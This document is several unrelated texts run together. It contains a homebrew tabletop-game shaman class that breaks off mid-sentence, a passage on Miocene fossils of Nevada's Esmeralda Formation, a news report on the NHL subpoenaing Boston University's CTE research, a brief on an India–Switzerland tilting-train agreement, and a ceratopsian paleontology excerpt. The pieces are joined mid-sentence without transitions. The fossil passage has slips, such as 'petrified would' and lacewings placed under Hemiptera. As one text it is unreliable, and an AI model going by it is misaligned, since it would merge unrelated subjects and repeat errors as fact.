The Shaman Level Proficiency Bonus Features Cantrips Known Spells Known 1st 2nd 3rd 4th 5th 6th 7th 8th 9th 1st +2 Spellcasting,Elemental Warding 1 2 2 — — — — — — — — 2nd +2 Ancestral Knowledge 1 2 4 — — — — — — — — 3rd +2 Teaching 1 3 4 2 — — — — — — — 4th +2 Ability Score Improvement 2 3 4 2 — — — — — — — 5th +3 ─ 2 4 4 3 1 — — — — — — 6th +3 Teaching Feature 2 4 4 3 1 — — — — — — 7th +3 ─ 2 5 4 3 2 1 — — — — — 8th +3 Ability Score Improvement 3 6 4 3 2 1 — — — — — 9th +4 ─ 3 7 4 3 2 1 1 — — — — 10th +4 Teaching Feature 3 7 4 3 2 2 1 — — — — 11th +4 ─ 3 7 4 3 3 2 1 1 — — — 12th +4 Ability Score Improvement 3 8 4 3 3 2 2 1 — — — 13th +5 ─ 3 9 4 3 3 3 2 1 1 — — 14th +5 Teaching Feature 4 9 4 3 3 3 2 1 1 — — 15th +5 ─ 4 9 4 3 3 3 3 2 1 1 — 16th +5 Ability Score Improvement 4 10 4 3 3 3 3 2 1 1 — 17th +6 ─ 4 11 4 3 3 3 3 2 1 1 1 18th +6 Spirit Sight 5 12 4 3 3 3 3 2 2 1 1 19th +6 Ability Score Improvement 5 13 4 3 3 3 3 2 2 1 1 20th +6 Spirit Totem 5 13 4 3 3 3 3 2 2 1 1 Creating a Shaman When you create your shaman you should first focus on what has brought you to shamanism, most people don't unwillingly enter this profession. Maybe you were inspired by another shaman, maybe it's due to your need to explore beyond or a thirst for power. After you have made your choice I would think on how you think your character views the world outside their home. They might be fearful, being told stories of how the outside world is cursed or dangerous. Maybe your character is a young idealist excited and headstrong in their need to see and experience everything, the outside world being an almost mystical treasure trove of unexplored intrigue. Quick build You can quickly and easily make a shaman by using these basic suggestions. Focus on Intelligence as your highest ability score followed by Constitution if your taking the teachings of earth we recommend prioritising Constitution as you will often be near the front of a fight. Take the hermit background and choose spells like Fireball, Conjure Elemental, Haste, Enhance Ability and Cure Wounds. You excel at using multiple concentration spells so be sure to have a few learned. Class Features As a shaman you gain the following class features. Hit Points Hit Dice: 1d6 per shaman level
1d6 per shaman level Hit Points at 1st Level: 6 + your modifier
6 + your modifier Hit Points at Higher Levels: 1d6 (or 4) + your Constitution modifier per shaman level after 1st Proficiencies Armor: Light
Light Weapons: Simple Melee Weapons
Simple Melee Weapons Languages: Primordial Saving Throws: Intelligence, Constitution
Intelligence, Constitution Skills: Choose three from Arcana, History, Nature, Persuasion, Religion, Medicine, Perception and Survival Equipment You start with the following equipment in addition to the equipment offered by your background: (a) Quarterstaff or (b) any simple melee weapon
(a) Diplomat's Pack or (b) Explorer's Pack
Leather armor, shamanistic focus and a censer
Elemental warding When wearing no armor or light armor you can choose resistance to one of the following elements of your choice. You can choose fire, cold or lightning. You can swap out this effect at the end of a short rest. Spellcasting Using your understanding of the spirits and your shamanistic focus you can beseech or trick them to destroy your enemies or assist your allies. Preparing and Casting Spells The shaman table shows how many spell slots you have to cast your spells of 1st level and higher. To cast one of these spells, you must expend a slot of the spell’s level or higher. You regain all expended spell slots when you finish a long rest. You always have your spells known prepared, because you have the rituals committed to memory. However because of this you have a limit to your total known non-cantrip spells. The number of spells you know is listed in the spells known of the shaman table. If you decide to learn a new one beyond your limit you must forget another spell to make room. Extra spells from other sources like feats do not count towards this number. Cantrips At first level, you know one cantrip of your choice from the shaman spell list. You also know the Snap Lightning cantrip. You learn additional cantrips of your choice at higher levels, as shown in the Cantrips Known column of the Shaman table. Spellcasting Ability Intelligence is your spellcasting ability for your Shaman spells, since your magic draws upon your understanding of spirits and recalling traditional rituals. You use your Intelligence whenever a spell refers to your spellcasting ability. In addition, you use your Intelligence modifier when setting the saving throw DC for a Shaman spell you cast and when making an attack roll with one. Spell save DC = 8 + your proficiency bonus + your Intelligence modifier Spell attack modifier = your proficiency bonus + your Intelligence modifier Spellcasting with Totems Unique to shaman is the ability to cast a spell using a totem. When casting a spell that requires concentration you can choose to instead place a totem in an unoccupied space within 5 feet. The totem has 10 AC, Your Constitution mod + half your shaman level rounded down in HP and concentrates on the spell for you using your statistics. You can do this a number of times equal to your half your Intelligence mod rounded down then you must complete a short rest. Only one totem can be active at a time and lasts only as long as the spell it's concentrating on. Ritual Casting You can cast shaman spell as a ritual if that spell has the ritual tag. Spellcasting Focus You can use shamanistic focus as a spellcasting focus for your spells. Often items like an important object belonging to your ancestors or an elementally charged orb. Ancestral Knowledge Starting at level 2 level, choose one of your skill proficiencies. You gain expertise in those skill doubling your proficiency bonus in those skills. Additionally whenever you make a roll to recall information you have expertise in you can spend 1 minute in a meditative trance. When in this trance you can gain information from a perspective far into the past or from a spirit with |
chemical structure as silica (SiO2), but in a different molecular crystal arrangement. And what a veritable treasure trove of supremely well preserved freshwater arthropodal fossils the paper shales contain. A representative sampling of insect specimens includes: gall gnats, fungus gnats, midges, jumping plant lice, fulgorid bugs, true bugs, damsel bugs, beetles, metallic wood borers, mayflies, march flies, moths, dragonflies, crickets, termites, aphids, butterflies, mosquitoes, fruit flies (hoverflies), Crane flies, leaf-miner flies, bibionid flies, bees, yellow jackets, ichneumon wasps, lacewings, leaf hoppers, and ants. Dipteran flies and gnats comprise approximately fifty percent of the Esmeralda Formation's paleoentomological fauna, while members of the Hymenoptera (exemplified by ants and ichneumon wasps) make up around twenty-five percent; the remaining insectan content percentage is composed of, primarily: Hemiptera (lacewings); Coloeptera (beetles); Ephemeroptera (mayflies); Odonta (dragonflies); and Lepidoptera (moths and butterflies). A general "rule of thumb," as it were, is that Fossil Valley produces a predominantly diminutive fossil insect assemblage; an observation that naturally leads one to the tempting working hypothesis that specimens recovered from the paper shales accumulated in rather deep, anoxic waters (severely oxygen-depleted), far away from near-shore areas where turbulence and greater decay-inducing oxygen content would tend to obliterate delicate arthropodal tissues of larger insects recently cast to the waters. On the other hand, one must note that numerous examples of Fossil Valley Diptera (flies and gnats, in particular) would appear to have been flung forcefully to a fine-grained surface, preserved as they are in quasi-smashed, contorted death positions--suggesting that at least a percentage of the unfortunate arthropods met their demise when blown to the sticky vast mudflats of a moist playa floor. Another taphonomic explanation for Esmeralda Formation freshwater arthropod preservations involves the influence of mucus. Call it the "paleo-spit" idea, if you will. What researchers perspicaciously observed was that elsewhere in the world many exceptionally preserved fossil insects often tend to occur in the presence of microbial films produced by diatoms (Colorado's famed Florissant fossil insect association, for example). That is to say, investigators concluded that diatoms, during periods of overstimulated bloom, "exuded" a sticky mucus-like substance which helped slow the invariably rapid decomposition of insects adhering to it, until the arthropods could be buried by a protective layer of lake bottom mud, or volcanic ash. But of course, many of Fossil Valley's insects required plants to survive. Paleobotanically important leaf, seed, and conifer foliage impressions from Fossil Valley come from two primary horizons separated by several million of years of geologic time. The older fossiliferous layer is preserved in mudstones and siltstones approximately 16.4 million years old, while the younger localities lie within the world-famous paper shales dated at around 14.5 million years ancient. Plant species recovered from the older 16.4 million year-old stratigraphic interval resemble in great part vegetation varieties that contribute to the lush deciduous forests of the eastern United States. Estimated precipitation during that particular period of middle Miocene time was probably as high as 100 centimeters per year (39 inches)--with reliable patterns of summer rainfall, as well--a decidedly mesic paleoenvironment, well-watered, that encouraged the proliferation of a healthy broad-leafed canopy. Representative floristic material secured from the older plant-bearing horizon includes--common specimens of alder, birch, walnut, persimmon, Eugenia, Kentucky coffeetree, Malus (related to the apple), a member of the genus Prunus (which includes plums, cherries, peaches, nectarines, apricots and almonds), Photinia (yet another species that some call the Christmas berry), black walnut, poplars, hawthorn, Chinese scholar tree, barberry, gooseberry, whitebeam, tassel bush, lobed red oak, stone oak, an extinct water oak, elm, zelkova, sycamore, and maple--in addition to such conifers as fir, spruce, and hemlock; average year-round temperatures likely never exceeded 10 degrees Celsius. (50 F). At around 15 million years ago, ancestral western North America, in general, began to experience a dramatic shift in climatic conditions. By 14.5 million years ago, for example, average year-round temperatures had dropped approximately three degrees Celsius to 7 degrees C (44 degrees F), and summer rainfall patterns had all but dried up; annual precipitation probably fell from the previous highs of 100 centimeters (39 inches) to 75 centimeters (29) inches per year. This rather rapid (geologically speaking) alteration of paleoenvironmental patterns pretty much eliminated from Fossil Valley all of its once-dominant broad-leafed deciduous plant life. In the younger 14.5 million year-old fossil flora above the older zone, no deciduous hardwoods of eastern alliance that characterize the 16.4 million year-old plant bed have been recovered. Replacing the many Esmeralda exotic hardwoods that now inhabit eastern United States forests was a botanic biota now represented by many evergreen dicotelydons and conifers. Commonly observed fossil plant remains identified from the younger Esmeralda Formation paper shales include--giant sequoia (foliage), Alaskan cedar, hemlock, spruce, fir, false cypress, larch, pinyon pine, juniper, manzanita, black cottonwood, mountain cottonwood, quaking aspen, Himalayan aspen, American aspen, willows, evergreen live oaks, oceanspray, mockorange, serviceberry, Catalina ironwood, mountain mahogany, toyon (sometimes called Christmas berry), buckthorn, squaw apple, silverberry, coast silk-tassel, oregon grape, elderberry, soapberry, pepper tree, hickory, mountain ash, locust, curl-leaf sumac, and madron. In many floristic respects, the younger Esmeralda Formation plants begin to resemble in a general sense the associations of shrubs and trees now found growing along the western slopes of California's Sierra Nevada. In addition to the bountiful, exquisitely detailed leaves, seeds, conifer foliage, and flowering structures preserved along the natural bedding planes of mudstones, siltstones, and thinly bedded shales in Esmeralda Formation members One and Two, rather common to abundant petrified woods can also be found concentrated in localized, so-called mini-petrified forests throughout the coarser-grained fluviatile (river-deposited) sedimentary sections of Esmeralda Member One. Much of the woody material is nicely silicified--that is, replaced by the mineral silicon dioxide--although not even a smidgen of it has been definitively identified, let alone formally described in the scientific paleobotanical literature. Casual inspection, though, leads not a few investigators to believe that much of the petrified would could well derive from giant sequoia trunks. Thriving in the lakes that once lapped the now mineralized trees is a fascinating group of minute organisms that provides students of the middle Miocene Esmeralda Formation with one of the more prolific paleontologic occurrences yet known from Fossil Valley Basin--the diatom, a microscopic photosynthesizing single-celled plant, allied biologically with phytoplanktonic algae, that secretes a "shell" composed of opaline silica (the mineral silicon dioxide)--a diatom home technically termed a frustule. Though micropaleontologists often recognize their fossil remains under moderately high powers of magnification as isolated cells of varying intricate shapes and sizes, diatoms were still quite capable of forming chains or links, mimicking a multicellular organism. They first appear in the geologic record during the early Jurassic, approximately 185 million years ago, but molecular clock calculations (genetic DNA analyses) and sedimentary evidence point to an earlier established presence in the Triassic Period. Since roughly 100 million years ago, beginning in the Cretaceous Period (age of dinosaurs, or course), diatoms have pretty much owned the so-called silica cycle, flourishing in both marine and freshwater habitats while contributing throughout the late Cretaceous Period and succeeding Cenozoic Era myriads of their frustules to the ever-accumulating fossil record; indeed, during Miocene times throughout ancestral Nevada diatoms occasionally formed impressive deposits of commercially exploitable diatomite, a sedimentary rock type composed almost entirely of diatoms. At Fossil Valley, within the middle Miocene Esmeralda Formation, diatoms accumulated in several punctuated, successively stratified geologic horizons distributed between irregularly spaced barren layers denoting dramatic diatom kill zones precipitated by periodic air-fall volcanic ash, which paradoxically provided plentiful dissolved silica for additional diatom "colonies" to become established--until, that is, yet another pyroclastic episode devastated diatom reproduction dynamics. Fossil Valley has provided micropaleontology investigators with some 109 diatom species. Characteristic Esmeralda Formation examples include--Anomoeoneis lanceolata, Anomoeoneis nyensis, Anomoeoneis turgida, Fragilaria crassa, Stauroneis debilis, Surirella spicula, Cestodiscus cedarensis, Cestodiscus fasciculatus, Cestrodiscus stellatus, Pinnularia esmeraldensis, and Tetracyclus radiatus. Diatom specialists note that the presence of a number of diagnostic pelagic and littoral forms demonstrates that Fossil Valley Lake's deeper waters were at times eutrophic (biologically productive), low in salinity (probably between 0 and 5 parts per thousand), clean, and generally alkaline. Still and all, diminishing frequencies of Tetracyclus (a cold water diatom) in successively younger stratigraphic intervals certainly suggests an overall shallowing of Fossil Valley Lake over geologic time. Most diatom assemblages from the Esmeralda Formation yield species whose living members now dominant saline and brackish lakes, paleontologic evidence which likely explains the presence of a normally marine genus in the freshwater Fossil Valley collections--Cestodiscus. A minor introduction of alkaline-loving members of the diatom genera Pinnularia indicates that periodically, at least, Fossil Valley Lake's pH levels could have gone greater than 7.0. For the Esmeralda Formation stratigraphic section containing Coscinodiscus miocaenicus and Coscinodiscus grobunovii diatoms, a geologic age of 15 to 12 million years is suggested. Also living throughout the Fossil Valley Lake hydrologic system were untold numbers of freshwater mollusks and ostracods (a tiny bivalve crustacean), whose often well preserved remains now lie encased in Esmeralda Formation strata approximately 15 to 14 million years old. Among Fossil Valley's prolific freshwater molluscan assemblage, some 34 species of gastropods and pelecypods have been identified from the middle Miocene Esmeralda Formation--four clams and 30 snails, all told. Most occur in the calcareous sandstone and silty limestone layers of Member One, often developing widespread coquinoid associations where the matrix is composed almost entirely of whole and broken shells. The most abundant varieties recovered include four species of rather diminutive pelecypods distributed within the genera Pisidium (two species) and Sphaerium (two species)--often referred to colloquially by malacologists as "fingernail clams"--in addition to the following gastropods: Vorticifex (six species); Valvata (three species); Viviparus (two species); and Goniobasis (three species). The fossil freshwater mollusks inform paleolimnologists and paleoecologists much about ancestral Fossil Valley's middle Miocene lacustrine and fluviatile conditions. For example, Vorticifex sp. belongs to the freshwater gastropod family Planorbidae, the planorbids (technically categorized as an "aquatic pulmonate gastropod mollusk" that breaths air), whose living representatives often find their way into aquariums under the common name "ramshorn snails" (admittedly, of course, not all gastropods advertised as aquarium-ready "ramshorns" are actually planorbids). During Esmeralda times some 15 to 14 million years ago, Vorticifex snails likely lived in vegetation-rich waters no deeper than 15 feet, though in actual fact their extant representatives remain manifestly happier at depths of about six feet. Another gastropodal dominant is Viviparus sp. (family Viviparidae), which interestingly enough uses a gill to respire. It's a relatively large, exclusively freshwater mollusk (grows up to two and a half inches long) that tolerates a wide range of habitats: ponds, rivers, streams, marshes, backwaters, and permanent bodies of water of varying depths. In North America, recent Viviparus species remain restricted to areas east of the Rocky Mountains at latitudes below 52 degrees. Dispersal in an ecosystem is likely achieved by active molluscan movement through water channels, with rafting a theoretical possibility that's never actually been witnessed. Diet is exclusively herbivorous; the snails feed on vegetation growing in the silty and sandy bottoms. An additional observation is that Viviparus gives live birth to its young, although all youngsters hatch inside the female snail's body and emerge only when environmental conditions are optimal (technically, a process called ovovivipary). A third freshwater gastropod common to Fossil Valley's Esmeralda Formation exposures is Goniobasis sp., which is the extinct molluscan equivalent of the living genus Pleurocera (family Pleuroceridae) now native to eastern North America; a related genus called Juga resides in the US west. It's often mistaken for a Turritella marine gastropod because of its characteristic high-spired morphological configuration. The Eocene Green River Formation, for example, produces plentiful silicified layers of Goniobasis snails, usually marketed under the name "turritella agate." Goniobasis was a gill breather that could generally tolerate varying degrees of salinity and even adverse turbulent waters. The fourth Fossil Valley Esmeralda Formation gastropod dominant is Valvata sp. (family Valvatidae)--an operculum-bearing snail that possesses a gill attached only by the base so that it forms a structure like a feather outside the shell when fully extended. Modern Valvata species almost exclusively inhabit large, permanent bodies of water such as rivers and lakes. And they're also almost universally intolerant of waters with a pH level below 7.0; hence, the presence of Valvata indicates with invariable high probability an alkaline lake chemistry. Fossil Valley's freshwater pelecypodal preservations consist of two forms, both members of the family Sphaeriidae--Pisidium and Sphaerium. Living members of the Shaeriidae inhabit a wide range of conditions, from shallow to deep waters, but generally prefer depths less than 6 feet. Although sphaeriids like slightly alkaline environments, Sphaerium has nevertheless been reported from waters with a borderline acidic pH of 6.0. Too, they'll tolerate just about any kind of substrate--except bottom areas composed of rocks or clay; that they will not abide. The ostracods from Fossil Valley Esmeralda exposures are numerous, indeed. Often colloquially called "seed shrimps," ostracods are minute (typically around 1 millimeter long, but often as small as 0.2mm) bivalve arthropod crustaceans, not directly related to shrimps, that today inhabit both marine and freshwater environments; they first appear in the geologic record during the early Ordovician Period, approximately 485 million years ago. Scientific investigators usually consider them accurate, sensitive indicators of water chemistry, depth, and temperature. They also provide earth scientists with a superior utility to help calculate the relative geologic ages of rock formations in which ostracods occur. In Fossil Valley Lake, they were obviously gregarious organisms, multiplying with efficient overpopulating explosiveness when the proper environment conditions arose--commonly contributing to the sedimentary accumulations impressive zoned coquinoid associations. Within the middle Miocene Esmeralda Formation some 35 ostracod species have been described. Typical forms include Pactolocypris cancellatus, P. pactolensis, P. biprojectus, Heterocypris blairensis, Kassinina microreticulata, Advenocypris concinnus, Procyprois gracilis, Hemicyprinotus ionensis, Eucypris fingerrockensis, Cypricercus mineralensis, and Dongyingia lariversi, Dogelinella coaldalensis, Disopontocypris hendersoni, and Cypridopsella esmeraldensis--an informative selection of fossil crustacean material that suggests that Fossil Valley Lake, during periods of ostracod accumulations, probably experienced pronounced pulsations of saline-dominated, brackish water paleolimnological fluctuations. Not only are innumerable middle Miocene plants and invertebrate animals preserved at Fossil Valley Basin, but the backboned kinds get in the act in a big way, as well. Vertebrate fossils recovered from the middle Miocene Esmeralda Formation at Fossil Valley include fish, amphibians, a reptile, birds, and mammals. The fossil fish occur as isolated bones, scales, and often common complete skeletons in the world-famous paper shale horizon of Esmeralda Formation member Two, approximately 14.5 million years old. Two major types predominate: an undescribed salmonid, which is related to salmon, char, and trout--probably its closest living relative is the Dolly Varden trout--and a Chub called scientifically Gila sp., a member of the Cyprinidae family (minnows, chubs, European daces, carps, and chars are other examples). Additionally, some years ago a paleontologically fortunate member of the United States Geological Survey found a pharyngeal arch that resembles the hardhead, a member of the Cyprinidae now native to California; that specimen has never been formally described in the scientific literature, though. Amphibian skeletal elements identified are indistinguishable from the living Couche's Spadefoot toad native to parts of southeastern Colorado, southern Oklahoma, western Texas, New Mexico, southern Arizona, southeastern California, northern Mexico, and the Baja peninsula; its scientific name is Scaphiopus alexanderi, named for famed fossil hunter and naturalist Annie Alexander who collected it from the middle Miocene Esmeralda Formation. One undescribed alligator snapping turtle was mentioned among Esmeralda finds in the late 1950s. Numerous bird feathers have been secured from the paper shale deposits, as well--among them, identifiable specimens belonging to a golden eagle, a burrowing owl, a turkey vulture, and a pinyon jay. The middle Miocene mammals from Fossil Valley are many, and varied. They typically occur in two major Esmeralda Formation horizons--an older vertebrate accumulation specific to the Barstovian Stage of the Miocene Epoch that dates from approximately 15.4 to 15.1 million years ago--and then a younger bone interval from the Clarendonian Stage, somewhere around 13.5 to 10.5 million years old. Both faunas supply vertebrate paleontologists with some of the most iconic Miocene mammals that ever walked the earth. Older of the two vertebrate associations occurs in overbank fluviatile deposits associated with Member One of the middle Miocene Esmeralda Formation. Here can be found a paleontologically satisfying representative cross-section of land life that roamed ancestral middle Miocene Fossil Valley a little over 15 million years ago. Among the many significant mammals, for example, was a group of interesting insect-eaters--a hedgehog-like critter; a shrew; a mole; a curious extinct ground-dwelling insectivore (Arctoryctes); and a bat. Diminutive rodents and lagomorphs (hares-rabbits-pikas) also resided at Fossil Valley during Barstovian Stage times: the faunal listing includes: two kinds of squirrels; two extinct squirrel-like animals; two beavers; a kangaroo rat; and an extinct rabbit-like creature. Carvivores were nicely represented, as well. Examples of meat-eaters from the older Esmeralda Formation horizon include: an extinct bear-dog (Tamarctus); an extinct hyena-like dog (Aelurodon); a fox; a ring-tailed cat; and an unspecified member of the Mustelidae, which includes otters, badgers, weasels, martens, ferrets, minks and wolverines. Larger Barstovian-age Fossil Valley herbivores attempting to evade the carnivores amounted to a diverse lot, indeed. Obligate vegetation munchers described from the oldest middle Miocene Esmeralda Formation section include: an extinct elephant-like gomphothere proboscidean; three different species of extinct three-toed horses (one Hypohyppus and two Merychippus); a rhinoceros; two camels; an extinct three-horned ruminant (a Palaeomerycid); and two extinct pronghorns (Merycodus). The geologically younger Fossil Valley vertebrates occur in Esmeralda strata deposited during the Clarendonian Stage of the middle Miocene, a mammal-producing section dated at roughly 13.0 to 10.5 million years old. That's where important bone-bearing beds lie positioned through many hundreds of feet of Esmeralda Formation members Five, Six and Seven. And the faunal list is quite inclusive: an extinct shrew-like insectivore (Limnoecus); two kinds of squirrels; four members of the Heteromyidae rodent family--three extinct pocket mice (Perognathus) and an extinct critter closely related to the pocket mouse (Cupidinimus); a giant kangaroo rat; a beaver; a deer mouse; a rabbit; a bear-dog (Tamarctus); a fox; two species of a bone-crushing hyena-like dog (Aelurodon); a member of Mustelidae family, which includes badgers, otters, weasels, martens, ferrets, minks, and wolverines; an extinct cat (Psudaelurus)--an ancestor of today's felines and pantherines as well as the extinct saber-tooths; an extinct felid carnivore (Sansanosmilus) commonly called a false saber tooth cat; two kinds of elephant-like gomphothere proboscideans; five types of extinct horses--the last browsing horse in North America (three-toed Megahippus), two species of three-toed grazing horses (Neohipparion and Hypohippus), and two species of the single-toed grazer Pliohippus; a rhinoceros; three types of camels; and an extinct pronghorn (Mercycodus). Today, while visiting Nevada's Great Basin Desert, it is perhaps difficult to imagine Fossil Valley as an extensive verdant lake basin teaming with luxuriant trees and shrubs and grasses and abundant animal life within the midst of such an unimaginably vast expanse of arid, ecologically austere territory dotted with creosote, shadscale, and additional botanically specialized compact spinescent types adapted to prolonged periods of scant precipitation--less than five inches per year, on average. But the eroding rocks of the middle Miocene Esmeralda Formation prove the case: This is a land dominated by the good dust of deep time, by the weathered sedimentary particles from a geologically hardened hydrologic system that disappear into the infinite distance as an incessant desiccated wind whips across stone outcroppings of a 17 to 10 million year-old lake--each gone grain further releasing gradually to view the paleontologic wonders for which Fossil Valley is appreciated worldwide--a unique, complete, paleo-biota of middle Miocene organisms retained in an exceptional state of preservation: the leaves, the conifer winged seeds and needles and foliage, the petrified woods, the pollens, the diatoms, the stromatolites, the gastropods, the pelecypods, the ostracods, the fish, the amphibians, the turtles, the birds, the mammals--and the insects, whose delicate winged varieties often seem so life-like that they appear ready to fly away from the water-born sedimentary layers upon which they've lived for fourteen and a half million years.Rick Westhead TSN Senior Correspondent Follow|Archive
Boston University scientists have been studying the brains of deceased National Hockey League players for the past eight years, searching for evidence that those players suffered from the dementia-like brain disease known as chronic traumatic encephalopathy, or CTE.
The university’s researchers have canvassed former NHL players and their families, conducting confidential interviews with family members about the deteriorating health and eventual deaths of the players.
For the past two years the NHL has been waging a quiet battle with Boston University to obtain all of the notes and summaries of those interviews, as well as any correspondence the school’s scientists have had with NHL players, agents, and families of players.
The NHL’s fight to obtain those documents was laid bare in affidavits filed Monday in U.S. federal court in New York. The affidavits were filed in reaction to a subpoena that was served to Boston University by the NHL on Sept. 1, 2015, in connection with the NHL’s high-stakes concussion lawsuit.
Lawyers for the plaintiffs involved in the NHL lawsuit allege the league wants to obtain information from Boston University to cast doubt on its research. The school has announced a diagnosis of CTE in three former NHL players – Reggie Fleming, Rick Martin and Derek Boogaard – and those diagnoses may help to make the case that head injuries suffered in the NHL have caused lethal damage, the lawyers say.
The NHL’s medical expert, Dr. Rudy Castellani – who wrote in a March 2016 opinion piece published in the International Journal of Clinical Neurosciences and Mental Health that CTE was more “of a hypothetical construct or concept than an actual disease” – has asked for copies of all of Boston University’s pathology photographs, brain slides and clinical data so he can verify the accuracy of the reports.
Dr. Robert Stern, a professor of neurology at Boston University, said he’s concerned about Dr. Castellani’s request because of the school’s promise of privacy to its study subjects and because meeting the NHL’s demands would distract researchers from a seven-year study of CTE that was funded in December 2015 and involves 240 former NFL and college football players.
“The [NHL] subpoena’s astonishing scope and breadth of coverage will, if enforced, impose an incredible burden and disrupt the CTE Center’s operations,” Dr. Stern wrote in an affidavit. “This request will harm ALL ongoing CTE-related research, both at BU and at institutions that collaborate with BU and/or rely on BU findings as part of follow-on work.”
The NHL has also demanded Boston University produce any meeting notes or communications with league executives, including commissioner Gary Bettman, deputy commissioner Bill Daly and senior counsel Julie Grand.
The league also wants any correspondence between the university and media that have requested interviews about head injuries in sports including hockey.
In her affidavit, Dr. Stern’s colleague Dr. Ann McKee condemned the NHL’s demand for draft and peer-review notes related to Boston University’s published studies on CTE.
“The NHL subpoena’s invasive demand for all CTE-related pre-publication discussions, including with peer reviewers retained by journals, threatens the foundation on which science thrives,” Dr. McKee wrote.
Dr. McKee, who has said the symptoms of CTE in the athletes she has studied typically appear at middle age, an average of eight years after retirement, has been credited by the National Football League for her research on CTE.
In 2009 she announced that Fleming, a one-time Chicago Blackhawks defenceman, had suffered from CTE. Fleming was the first former NHL player diagnosed with the disease.
Dr. McKee also criticized the NHL’s offer to pay for a third party to comb through Boston University’s records and remove any patient identifying information before using the records in the litigation.
Dr. McKee said the school’s brain bank contains about 172,000 photographs from 400 donor brains (donors have included military veterans and former professional and amateur athletes). To eliminate the identifying autopsy number included on every photograph – assuming six photographs were processed each hour – could take one employee as long as 13 years, she wrote.
“In practical terms it would shut down my research,” she wrote.
While the NFL admitted a link between football and CTE after a lawsuit filed by former NFL players was settled in 2016, the NHL steadfastly denies any link between hockey and the CTE. The NHL has accused the media of fanning unfounded fears about the brain disorder.New Delhi: India will collaborate with Switzerland for developing trains which will tilt on approaching a bend, just like a motorbike on a winding road.
A memorandum of understanding was signed today between the two countries in this regard.
Such trains are now operational in 11 countries — Italy, Portugal, Slovenia, Finland, Russia, the Czech Republic, the UK, Switzerland, China, Germany, and Romania.
Explaining how the tilting trains work, officials said that as a train rounds a curve at speed, it causes objects to slide about.
"While it makes seated passengers feel squashed by the armrest, standing passengers tend to lose their balance. The design of the tilting trains counteract this," an official said.
During a curve to the left, the train tilts to the left and vice versa, the official said.
The railway ministry signed two MoUs with the Federal Department of the Environment, Transport and Communications of the Swiss Confederation for technical cooperation in rail sector in the presence of Prime Minister Narendra Modi.
The first agreement is a follow up on bilateral cooperation in rail sector discussed in the meeting held between Railway Minister Suresh Prabhu and the Swiss Ambassador in July 2016.
The MoU aims at cooperation in the areas of traction rolling stock, electric multiple unit and train sets, traction propulsion equipment, freight and passenger cars, tilting trains, railway electrification equipment, and tunnelling technology, among other things.
The second MoU was signed between Konkan Railway Corporation Limited (KRCL) and Swiss Federal Institute of Technology which will help the former in establishing the George Fernandes Institute of Tunnel Technology (GFITT) at Goa especially for assimilation and dissemination of knowledge in the field of tunnelling, the officials said.
Firstpost is now on WhatsApp. For the latest analysis, commentary and news updates, sign up for our WhatsApp services. Just go to Firstpost.com/Whatsapp and hit the Subscribe button.Another chasmosaurine, Anchiceratops (CMN 9813, 9814), typically found in deposits of the younger Horseshoe Canyon Formation, was reported from the Dinosaur Park Formation (Langston, 1959 Langston, W., Jr. 1959. Anchiceratops from the Oldman Formation of Alberta. National Museum of Canada Natural History Papers 3:1–11.). Its remains came from a location 160 km to the southeast of the park boundaries. Longrich ( 2014 Longrich, N. R. 2014. The horned dinosaurs Pentaceratops and Kosmoceratops from the upper Campanian of Alberta and implications for dinosaur biogeography. Cretaceous Research 51:292–308.) erected a new species, Pentaceratops aquilonius, to accommodate these specimens.
Lambe ( 1902 Lambe, L. M. 1902. New genera and species from the Belly River series (mid-Cretaceous). On Vertebrata of the mid-Cretaceous of the North West Territory. Geological Survey of Canada, Contributions to Canadian Palaeontology 3:23–81., 1914a) recovered the first chasmosaurine ceratopsian material from what is now Dinosaur Provincial Park, and the region has produced numerous skulls and skeletons since then (Supplementary Data, Table S1). Three species of Chasmosaurus — C. belli, C. russelli, and C. irvinesis —have been described from the Dinosaur Park Formation (Ryan and Evans, 2005 Ryan, M. J., and D. C. Evans. 2005. Ornithischian dinosaurs; pp. 312–348 in P. J. Currie and E. B. Koppelhus (eds.), Dinosaur Provincial Park, a Spectacular Ancient Ecosystem Revealed. Indiana University Press, Bloomington, Indiana.), although Sampson et al. ( 2010 Sampson, S. D., M. A. Loewen, A. A. Farke, E. M. Roberts, C. A. Forster, J. A. Smith, and A. L. Titus. 2010. New Horned Dinosaurs from Utah provide evidence for intracontinental dinosaur endemism. PLoS ONE 5:e12292. doi: 10.1371/journal.pone.0012292.) subsequently established a new genus ( Vagaceratops ) to accommodate Chasmosaurus irvinensis. Longrich ( 2010 Longrich, N. R. 2010. Mojoceratops perifania, a new chasmosaurine ceratopsid from the late Campanian of western Canada. Journal of Paleontology 84:681–694.) used several specimens that had previously been identified as Chasmosaurus to establish a new taxon called Mojoceratops perifania (TMP 1983.025.0001 is the holotype). However, Maidment and Barrett ( 2011 Maidment, S. C. R., and P. M. Barrett. 2011. A new specimen of Chasmosaurus belli (Ornithischia: Ceratopsidae), a revision of the genus, and the utility of postcrania in the taxonomy and systematics of ceratopsid dinosaurs. Zootaxa 2963:1–47.) argued that the proposed diagnostic features of Mojoceratops are attributable to intraspecific variation. Campbell et al. ( 2013 Campbell, J., M. Ryan, C. Schroder-Adams, R. Holmes, and D. Evans. 2013. A specimen-based phylogenetic analysis of the chasmosaurine ceratopsid Chasmosaurus (Ornithischia) from the Upper Cretaceous (Campanian) Dinosaur Park Formation of western Canada suggests the validity of only one species. Journal of Vertebrate Paleontology, Program and Abstracts 2013, pp. 99–100.) found no support for the Longrich ( 2010 Longrich, N. R. 2010. Mojoceratops perifania, a new chasmosaurine ceratopsid from the late Campanian of western Canada. Journal of Paleontology 84:681–694.) reassignment of Chasmosaurus specimens to Mojoceratops and argued that all specimens of Chasmosaurus in Dinosaur Provincial Park can be assigned to a single species, Chasmosaurus belli. Unfortunately, evidence to support this conclusion has not been published yet.
